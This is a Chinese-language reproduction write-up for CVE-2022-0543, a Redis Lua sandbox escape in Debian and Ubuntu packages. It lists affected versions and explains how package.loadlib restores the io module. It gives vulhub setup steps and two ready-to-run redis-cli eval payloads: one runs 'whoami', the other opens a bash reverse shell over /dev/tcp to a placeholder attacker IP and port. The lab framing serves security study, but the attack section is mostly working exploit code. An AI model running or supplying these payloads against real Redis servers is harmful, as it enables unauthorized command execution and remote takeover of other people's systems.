CVE-2022-0543
影响范围:
Debian 10 (Buster) Redis 软件包: 5.0 - 5.0.14-1
Debian 11 (Bullseye) Redis 软件包: 6.0 - 6.0.16-1
Ubuntu 18.04 LTS Redis 软件包: 4.0.0 - 4.0.9-1ubuntu0.2
Ubuntu 20.04 LTS Redis 软件包: 5.0.0 - 5.0.7-2ubuntu0.1
Ubuntu 22.04 LTS Redis 软件包: 6.0.0 - 6.0.15-1ubuntu0.1
Docker Redis (Debian/Bullseye 变体) 镜像: 5.0.0 - 5.0.14
Docker Redis (Debian/Bullseye 变体) 镜像: 6.0.0 - 6.0.15
Kali Linux Redis 软件包: 5.0.0 - 6.0.15
Raspbian (树莓派) Redis 软件包: 4.0.0 - 6.0.15
其他 Debian 系衍生版 Redis 软件包: 4.0.0 - 7.0.0-rc2
漏洞类型:
Redis Lua沙箱逃逸
操作系统限制:
Debian/Ubantu
配置要求:
开启6379端口
漏洞利用:
命令执行,反弹shell
利用原理:
官方设计的Redis中,Lua脚本运行在高度受限的沙箱环境,Debian维护者答辩Redis时候加入补丁,将package模块引入Lua的全局环境,package.loadlib允许Lua直接调用Linux系统的动态链接库,攻击者通过redis-cli连接到未授权或已知密码的Redis,且目标一致为Debian/Ubantu系统,攻击者知道系统自带Lua库位置,利用package.loadlib重新加载系统库中的luaopen_os或luaopen_io函数,将Redis删除的os和io模块重新注入回Lua环境,攻击者可以调用os.execute()执行系统命令,通过io.popen()读取执行后回显结果,可以通过这些特性进行getshell
漏洞复现:
现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/redis/CVE-2022-0543
#拉取镜像
docker-compose up -d
安装工具redis
# 更新源并安装 redis
sudo yum install redis -y
拦截靶机
redis-cli -h 靶机ip
执行敏感命令
#执行whoami
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
进行反弹shell,nc开启监听

执行反弹shell命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c \"bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1\"", "r"); f:close();' 0
成功连接
